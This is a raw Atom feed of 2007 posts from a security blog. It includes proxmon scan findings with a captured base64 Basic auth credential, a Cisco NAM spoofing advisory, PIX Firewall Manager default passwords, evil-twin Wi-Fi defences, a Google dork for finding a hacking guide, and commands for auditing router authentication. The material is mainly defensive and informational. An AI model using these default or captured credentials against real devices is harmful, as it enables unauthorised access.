9)&lt;br /&gt;[*] Digest auth seen: Authorization: Digest username='jwilkins', realm='scratchdigest', [snip ...] (TIDs: 34)&lt;br /&gt;[*] Basic auth seen: Authorization: Basic andpbGtpbnM6YXNkZmFzZGY= (TIDs: 31, 32)&lt;br /&gt;[*] IDed framework: scratch.bitland.net:80 is using PHP/5.2.1 (http://www.php.net) (TIDs: 35)&lt;br /&gt;[*] IDed framework: www.isecpartners.com:80 is using YUI/1.2.3 (http://developer.yahoo.com/yui) (TIDs: 16)&lt;br /&gt;[*] Unsafe JavaScript found: eval at http://scratch.bitland.net:80/:15 (TIDs: 35)&lt;br /&gt;[*] Unsafe JavaScript found: eval at http://scratch.bitland.net:80/:16 (TIDs: 35)&lt;br /&gt;[*] Secure cookie value sent clear: secret2 (TIDs: 7, 9)&lt;br /&gt;[*] Secure cookie value sent clear: secret1 (TIDs: 16, 36)&lt;br /&gt;[*] Value set over SSL sent clear: secret2 as secure2 (TIDs: 7)&lt;br /&gt;[*] Value set over SSL sent clear: secret2 as bar (TIDs: 9)&lt;br /&gt;[*] Value set over SSL sent clear: secret1 as foobar (TIDs: 16)&lt;br /&gt;[*] Value set over SSL sent clear: secret1 as asdf (TIDs: 36)&lt;br /&gt;[*] Value (secret1) sent to multiple domains: bitland.net (TIDs: 5, 6, 36)&lt;br /&gt;[*] Value (secret1) sent to multiple domains: isecpartners.com (TIDs: 16)&lt;br /&gt;[*] Bad directory found: /backup/ on scratch.bitland.net:80 (TIDs: 0)&lt;br /&gt;[*] Bad file found: /environ.pl on scratch.bitland.net:80 (TIDs: 0)&lt;br /&gt;[*] Listing of /listable/ on scratch.bitland.net:80 succeeded (TIDs: 0)&lt;br /&gt;[*] SSL Config issue https://www.bitland.net:443: aNULL null cipher (TIDs: 0)&lt;br /&gt;[*] SSL Config issue https://www.bitland.net:443: Export strength ciphers (TIDs: 0)&lt;br /&gt;[*] SSL Config issue https://www.bitland.net:443: 40 bit Export strength ciphers (TIDs: 0)&lt;br /&gt;[*] SSL Config issue https://www.bitland.net:443: Low strength ciphers (TIDs: 0)&lt;br /&gt;[*] SSL Config issue https://www.bitland.net:443: SSLv2 protocol (TIDs: 0)&lt;br /&gt;[*] Upload to /put/ on scratch.bitland.net:80 succeeded (TIDs: 0)&lt;br /&gt;[*] Parsed 38 existing conversations&lt;br /&gt;[*] Session is not active, no point in monitoring&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4271433313232068570?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4271433313232068570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4271433313232068570' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4271433313232068570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4271433313232068570'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/wapiti-and-proxmon.html' title='Wapiti and proxmon'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3422806284403903545</id><published>2007-04-15T16:08:00.001+08:00</published><updated>2007-04-15T16:18:32.298+08:00</updated><title type='text'>Cisco Catalyst 6000, 6500 Series and Cisco 7600 Series NAM Vulnerability</title><content type='html'>"Cisco Catalyst 6000, 6500 series and Cisco 7600 series that have a Network Analysis Module installed are vulnerable to an attack, which could allow an attacker to gain complete control of the system. Only Cisco Catalyst systems that have a NAM on them are affected. This vulnerability affects systems that run Internetwork Operating System(IOS) or Catalyst Operating System (CatOS)."&lt;br /&gt;&lt;br /&gt;More information can be found here:&lt;br /&gt;&lt;a href="http://www.cisco.com/warp/public/707/cisco-sa-20070228-nam.shtml"&gt;http://www.cisco.com/warp/public/707/cisco-sa-20070228-nam.shtml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"NAMs communicate with the Catalyst system by using the Simple Network Management Protocol (SNMP). By spoofing the SNMP communication between the Catalyst system and the NAM an attacker may obtain complete control of the Catalyst system."&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3422806284403903545?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3422806284403903545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3422806284403903545' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3422806284403903545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3422806284403903545'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/cisco-catalyst-6000-6500-series-and_15.html' title='Cisco Catalyst 6000, 6500 Series and Cisco 7600 Series NAM Vulnerability'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3724790643432438827</id><published>2007-04-13T20:07:00.000+08:00</published><updated>2007-04-13T20:23:43.045+08:00</updated><title type='text'>Cisco PIX PFM plaintext password revealed</title><content type='html'>For those who are using PIX Firewall Manager to configure and manage your firewall, you are at risk of your firewall password being obtained by an intruder or an insider. Why? Because after the PFM software makes an initial connection to the PIX Firewall, the administrative password is stored in plaintext on the local management workstation. I am not too where is it stored, but it might be in the registry or search for the PFM installation directory for log or text files. It might be inside. So, to avoid that, cisco recommends using PIX Device Manager(PDM) instead. Well, for me, i never use PDM or PFM to configure the firewall, the IOS itself is good enough for me. Also, always practice logging your PC after finished using. The default username and password for the PFM is as shown below: &lt;br /&gt;&lt;br /&gt;Administrator username: pixadmin&lt;br /&gt;Administrator password: cisco&lt;br /&gt;&lt;br /&gt;Normal user username: pixuser&lt;br /&gt;Normal user password: cisco&lt;br /&gt;&lt;br /&gt;Change your default user accounts to avoid compromisation.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3724790643432438827?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3724790643432438827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3724790643432438827' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3724790643432438827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3724790643432438827'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/cisco-pix-pfm-plaintext-password.html' title='Cisco PIX PFM plaintext password revealed'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1384332532658098940</id><published>2007-04-12T21:51:00.000+08:00</published><updated>2007-04-12T22:08:43.464+08:00</updated><title type='text'>NACAttack BlackHat Europe 2007</title><content type='html'>Last night i blogged about the possible of NAC attack. Today, i found out that this had already been presented. Ok, i know i am slow catching up but both the german researchers managed to spoof the posture validation between a Cisco Trust Agent to the Cisco ACS (Access Control Server), and to gain access to the network even if the element is not compliant with the posture validation checks. To download the presentation and whitepapers, go to: &lt;a href="http://www.blackhat.com/html/bh-media-archives/bh-archives-2007.html#eu"&gt;http://www.blackhat.com/html/bh-media-archives/bh-archives-2007.html#eu&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1384332532658098940?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1384332532658098940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1384332532658098940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1384332532658098940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1384332532658098940'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/nacattack-blackhat-europe-2007.html' title='NACAttack BlackHat Europe 2007'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6760102156694647215</id><published>2007-04-11T19:04:00.000+08:00</published><updated>2007-04-11T19:06:41.592+08:00</updated><title type='text'>Hacking Cisco NAC - NACATTACK</title><content type='html'>Dror-John Roecher and Michael Thumann who were able to hack the Cisco NAC solution by exploiting a fundamental design flaw. In this video they illustrate how they worked towards this discovery and give us some exploit details. It is not their intention to simply release a tool, they want the audience to understand how Cisco NAC works and why it is not as secure as Cisco wants us to believe.&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/8wTxiXR--Uc"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/8wTxiXR--Uc" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6760102156694647215?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6760102156694647215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6760102156694647215' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6760102156694647215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6760102156694647215'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/hacking-cisco-nac-nacattack_11.html' title='Hacking Cisco NAC - NACATTACK'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-411302500019341820</id><published>2007-04-10T17:38:00.000+08:00</published><updated>2007-04-10T20:05:38.943+08:00</updated><title type='text'>Defeating Evil Twin</title><content type='html'>The other day i was discussing with thrill about detecting and defeating Evil Twin and what are the best options beside using WEP or WPA. For folks who still don't know, both WEP and WPA can be broken and is not considered secure. Check my previous post and you will find the tools needed to break those keys. Apparently, it boils down to two options, but i will let you guys decide which one is more secure. &lt;br /&gt;&lt;br /&gt;Thrill was suggesting about placing an Access Point in the DMZ area and make the IP a private one. A VPN server would also be needed to be setup in the DMZ area for listening to clients who wants to connect to the AP and use the wireless service. In that manner, an attacker who tries to setup an Evil Twin will not have access to the DMZ area because he would first need to use a VPN client to connect to the VPN server before any surfing can continue. This has several advantages and disadvantages and it all depends how you looked at it. The advantages being that all the traffic will be encrypted because it will be tunneled through a VPN server first before going out to the internet. Second being that SSID can be broadcast and no WEP/WPA security is needed. Of course if you are being paranoid, you can also include WPA key as an option. And third, it will defeat most Evil Twin. Below is a diagram which depicts the whole scenario. &lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RhtcT8cQyPI/AAAAAAAAAV4/wt4vAPogzBc/s1600-h/Wireless_Basic.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RhtcT8cQyPI/AAAAAAAAAV4/wt4vAPogzBc/s200/Wireless_Basic.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5051732904738081010" /&gt;&lt;/a&gt;&lt;br /&gt;According to thrill, its not necessary to implement a DMZ zone. It could be another extra network card on the VPN server that is going to have itself and the AP connected to it. Thrill quoted: "The trick is to not allow routing through this interface, and to set up a VPN server on that machine listening ONLY on that interface. And maybe a DHCP server on that interface as well. This is how this network becomes secure, and someone setting up an Evil Twin wouldn't be able to duplicate. And even if they did, the VPN client can be set up to authenticate a server side certificate easy enough." I wont say this is 100% secure, but it is the best solution he can think of and i do agree that it is good solution. The downside of this setup is every user needs to install OpenVPN client software on their machine and needs to be notified of the setup. That's a hassle.&lt;br /&gt;&lt;br /&gt;On the other side, thrill also quote: "using 802.1x authentication along with using a Radius server for logging in the user. Some of you may have already heard of the technology, it's using the Odyssey client by Funk Software, along with their Steel Belted Radius. Using Cisco APs we were able to enable rotating WEP keys that were only given to the client if their Certificate could be authenticated, once they were connected to the wireless network, they then needed to authenticate their user/password via the radius which pointed to the LDAP portion of AD. The trick for rotating SSID/WEP keys is using a certificate to authenticate to the actual AP. The AP is set up to point to a radius server which has the certificate on it, then the client sends the AP the supplication requesting the SSID/Key, the AP forwards the request to the Radius server which authenticates the certificate and sends an OK to the AP, who in turn sends the client the SSID/Key to authenticate." Below depicts the scenarion:&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/RhtoCccQyQI/AAAAAAAAAWA/aoqHbPjIEWs/s1600-h/8021X-Overview.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/RhtoCccQyQI/AAAAAAAAAWA/aoqHbPjIEWs/s200/8021X-Overview.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5051745798229903618" /&gt;&lt;/a&gt;&lt;br /&gt;Whichever is better, if something becomes too hard to use or requires too many steps, most people will be lazy and don't care about it. But then again, it all depends on the organization on how they want to implement their systems. Just my opinion.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-411302500019341820?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/411302500019341820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=411302500019341820' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/411302500019341820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/411302500019341820'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/defeating-evil-twin.html' title='Defeating Evil Twin'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RhtcT8cQyPI/AAAAAAAAAV4/wt4vAPogzBc/s72-c/Wireless_Basic.jpg' height='72' width='72'/><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-5161314942203670601</id><published>2007-04-09T16:03:00.000+08:00</published><updated>2007-04-10T01:07:28.532+08:00</updated><title type='text'>Rsnake and Jeremiah new XSS book</title><content type='html'>Ok guys, i need to show some love for my man Rsnake and Jeremiah. They are releasing a new book call Cross Site Scripting Attacks: Xss Exploits and Defense and of course, i am all out to go get it. This is definitely one not to be missed. Get it while its hot.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhn1lQmhmdI/AAAAAAAAAVg/BX81ueoXwZM/s1600-h/xss.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhn1lQmhmdI/AAAAAAAAAVg/BX81ueoXwZM/s200/xss.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5051338477533239762" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-5161314942203670601?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/5161314942203670601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=5161314942203670601' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5161314942203670601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/5161314942203670601'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/rsnake-new-xss-book.html' title='Rsnake and Jeremiah new XSS book'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_Zx8XWzC_KPQ/Rhn1lQmhmdI/AAAAAAAAAVg/BX81ueoXwZM/s72-c/xss.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-7758886627154166997</id><published>2007-04-09T15:37:00.000+08:00</published><updated>2007-04-10T14:32:20.760+08:00</updated><title type='text'>Becoming an Ethical hacker.</title><content type='html'>For those of you who wished to be a hacker, you will need some small little tricks here and there and of course, a great deal of knowledge will help. There is a pdf out on the internet which actually shows you how you can become a hacker. Some of you might have actually got it, but well, for those who wants to become a hacker and wants to know the jack of all trades in hacking, do a simple google dorking with: &lt;br /&gt;&lt;br /&gt;filetype:pdf "Becoming a Hacker – Part 1"&lt;br /&gt;&lt;br /&gt;Download the pdf and there you learn hacking. Let me know what you guys think?&lt;br /&gt;&lt;br /&gt;Disclaimer: Please do not use this document that you downloaded to perform any illegal activities. I will not hold any responsibility on this matter.&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-7758886627154166997?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/7758886627154166997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=7758886627154166997' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7758886627154166997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/7758886627154166997'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/becoming-hacker.html' title='Becoming an Ethical hacker.'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-1076199779711475037</id><published>2007-04-08T18:06:00.000+08:00</published><updated>2007-04-09T00:36:33.113+08:00</updated><title type='text'>Verifying authencation mechanism used in routing protocls</title><content type='html'>Way back in my previous post, i had given a list of audting commands to follow when performing auditing of Cisco routers. Now its time to verify if the protocols themselves are using authentication mechanism to defeat most of the attacks. Most of the time after a penetration test, if you find telnet port open, you would suggest the client to use SSH instead of telnet. This is ok, because it is easy to migrate the protocols. What if SNMP port is open? Do you tell the client to disable it because it is vulnerable to attacks or would you suggest the client to upgrade to the lastest version? What about compatibility and interoperability issues between SNMPv2 and SNMPv3? What if the client needs this protocol for monitoring purposes? Well, I guess there is always solution to everything. I will show you steps where you can perform to ensure that the "vulnerable" protocol is at least safe from 70% of the attacks.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;SNMP&lt;/strong&gt;: Make sure access-list is used to limit machines that is allowed to access to router. For example, see the following commands:&lt;br /&gt;&lt;br /&gt;Setting the access-list to permit only IPs that are allowed to access the router.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;access−list 12 permit 192.168.1.1&lt;br /&gt;access−list 13 permit 192.168.1.2&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The command below sets the community string which is sort like a password to access-list 28 and 29. Of course, you should set a very strong community to avoid brute-force or dictionary attacks. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;snmp−server community cisco1 RW 28&lt;br /&gt;snmp−server community cisco2 RO 29&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The command below allow the router to send traps to the SNMP Manager machine&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;snmp−server host 192.168.1.1 cisco1 snmp&lt;br /&gt;snmp−server host 192.168.1.2 cisco2 snmp&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;So by using the access-list command, only the allowed hosts are able to perform the necessary tasks.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;RIP&lt;/strong&gt;: RIPv1 does not support any authentication, instead it is using plain text for routing purposes. However, RIPv2 support both plain text and md5 authentication. When auditing an IOS config file, check for the following key words:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;key chain cisco&lt;br /&gt;key 1&lt;br /&gt;key−string rip&lt;br /&gt;&lt;br /&gt;ip rip authentication key−chain cisco&lt;br /&gt;ip rip authentication mode md5&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;To allow routing protocol authentication, the key chain command will identify a group of authentication keys, the key command will identify an authentication key on a key chain and the key-string command will specify the authentication string for a key. On top of it, make sure that the command ip rip authentication mode md5 is enabled for RIP updates.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;EIGRP&lt;/strong&gt;: The same goes for EIGRP. The commands to check for EIGRP is identical to RIP as shown below:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;key chain cisco&lt;br /&gt;key 1&lt;br /&gt;key−string eigrp&lt;br /&gt;&lt;br /&gt;ip authentication mode eigrp 10 md5&lt;br /&gt;ip authentication key−chain eigrp 10 cisco&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Please note that the command ip authentication mode eigrp 10 md5 is different from RIP's ip authentication mode md5. The "eigrp 10" is intepreted as eigrp &lt;autonomous system&gt;, so please take note of that.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;OSPF&lt;/strong&gt;: OSPF supports both plain text and md5 authentication. You can choose either one of the authentication method depending on your preference. Some routers might not support the md5 authentication, so that leaves you with no choice but to use plain text authention. Else, deploy md5 authentication which is 100 times more secure. Check for these commands below to see if the router is using any authentication.&lt;br /&gt;&lt;br /&gt;For plain text authentication:&lt;br /&gt;&lt;strong&gt;ip ospf authentication−key cisco&lt;br /&gt;area 0 authentication&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;For md5 authentication:&lt;br /&gt;&lt;strong&gt;ip ospf message−digest−key 40 md5 cisco&lt;br /&gt;area 0 authentication message−digest&lt;/strong&gt;&lt;br /&gt;Please note that the value of the key-id which is 40 allows passwords to be changed without having to disable authentication.&lt;br /&gt;&lt;br /&gt;So above is a quick list to check for authentication on routing protocols. If you happen to have a chance to audit a router config file, just a glance will tell you how good is the network administrator is.&lt;br /&gt;&lt;br /&gt;To know more about the commands usage and its meaning, refer to &lt;a href="http://cco.cisco.com/en/US/products/sw/iosswrel/ps5187/products_command_reference_chapter09186a008017d029.html"&gt;http://cco.cisco.com/en/US/products/sw/iosswrel/ps5187/products_command_reference_chapter09186a008017d029.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-1076199779711475037?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/1076199779711475037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=1076199779711475037' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1076199779711475037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/1076199779711475037'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/04/verifying-authencation-mechanism-used.html' title='Verifying authencation mechanism used in routing protocls'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-899189021893201058</id><published>2007-04-07T21:47:00.000+08:00</published><updated>2007-04-07T21:55:44.610+08:00</updated><title type='text'>Cisco IOS CLI regular expressions, Part II — ‘AND’</title><content type='html'>Handsomeplanet wrote about using regex in IOS which is a good idea to see it &lt;a href="http://www.handsomeplanet.com/2007/04/07/cisco-ios-cli-regular-expressions-part-ii-and/"&gt;live&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Here’s a scenario: you’re auditing one of your routers, checking to make sure privilege levels are what they should be for individual users, and that commands that have been moved into non-default privilege levels that appear to be correctly defined.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here’s the output of ’show running-config’ with only lines that match ‘privi’ included (so as to catch lines that show privilege levels:&lt;br /&gt;&lt;br /&gt;IOS-rtr#sh run | inc privi&lt;br /&gt;username sneezy privilege 0 secret 5 $1$Dz6cKoEINsYusITt.l&lt;br /&gt;username dopey privilege 0 secret 5 $1$MIUYWJ.I3iGq/qNleB.&lt;br /&gt;username meson privilege 0 secret 5 $1$7uBWyjan.5JB8KHR0&lt;br /&gt;username gluon privilege 15 secret 5 $1$VuoC$09dsgXRB.A/d&lt;br /&gt;privilege exec level 0 traceroute&lt;br /&gt;privilege exec level 0 ping&lt;br /&gt;privilege exec all level 0 show&lt;br /&gt;privilege exec level 0 clear ip nat translation&lt;br /&gt;privilege exec level 0 clear ip nat&lt;br /&gt;privilege exec level 0 clear ip&lt;br /&gt;privilege exec level 0 clear&lt;br /&gt;privilege configure level 7 logging &lt;br /&gt;privilege configure level 7 logging trap &lt;br /&gt;privilege configure level 7 logging source&lt;br /&gt;privilege level 15&lt;br /&gt;privilege level 15&lt;br /&gt;&lt;br /&gt;In this case, you can use the regular expression “.*” (dot-star) to match lines that contain both the word ‘privilege’ and ‘level 0′, thus eliminating other priv levels, as well as username definitions:&lt;br /&gt;IOS-rtr#sh run | inc privi.*level 0&lt;br /&gt;privilege exec level 0 traceroute&lt;br /&gt;privilege exec level 0 ping&lt;br /&gt;privilege exec all level 0 show&lt;br /&gt;privilege exec level 0 clear ip nat translation&lt;br /&gt;privilege exec level 0 clear ip nat&lt;br /&gt;privilege exec level 0 clear ip&lt;br /&gt;privilege exec level 0 clear&lt;br /&gt;&lt;br /&gt;The same thing works for an audit of ‘level 7′ commands:&lt;br /&gt;&lt;br /&gt;OS-rtr#sh run | inc privi.*level 7&lt;br /&gt;privilege configure level 7 logging &lt;br /&gt;privilege configure level 7 logging trap &lt;br /&gt;privilege configure level 7 logging source&lt;br /&gt;&lt;br /&gt;If you want to show lines that match privilege levels other than zero, you could use this:&lt;br /&gt;IOS-rtr#sh run | inc priv.*[1-9]&lt;br /&gt;&lt;br /&gt;You should note that the “.*” (dot-star) regular expression can be used as a synonym for AND, provided that you are aware that “.*” is not order agnostic.&lt;br /&gt;In order to do a true AND, you’d need an expression like :&lt;br /&gt;sh run | inc (privi.*level 0|level 0.*privi)&lt;br /&gt;This will match lines containing both ‘privilege’ and ‘level 0′, no matter which of the words appears first. To illustrate this, I’ll create a loopback interface (loop3) with some description text that will match the regex:&lt;br /&gt;&lt;br /&gt;IOS-rtr#conf t&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;IOS-rtr(config)#int loop3&lt;br /&gt;IOS-rtr(config-if)#desc level 0 is not privileged here!&lt;br /&gt;IOS-rtr(config-if)#^Z&lt;br /&gt;IOS-rtr#sh run | inc (privi.*level 0|level 0.*privi)&lt;br /&gt;description level 0 is not privileged here!&lt;br /&gt;privilege exec level 0 traceroute&lt;br /&gt;privilege exec level 0 ping&lt;br /&gt;privilege exec all level 0 show&lt;br /&gt;privilege exec level 0 clear ip nat translation&lt;br /&gt;privilege exec level 0 clear ip nat&lt;br /&gt;privilege exec level 0 clear ip&lt;br /&gt;privilege exec level 0 clear&lt;br /&gt;&lt;br /&gt;It works! Notice that we caught both the description line and the privilege exec lines.&lt;br /&gt;&lt;br /&gt;I guess I’m easily excited, but there it is. Next time I write about regular expressions for IOS, I’ll cover a kooky but somewhat useful use of ‘exclude’ 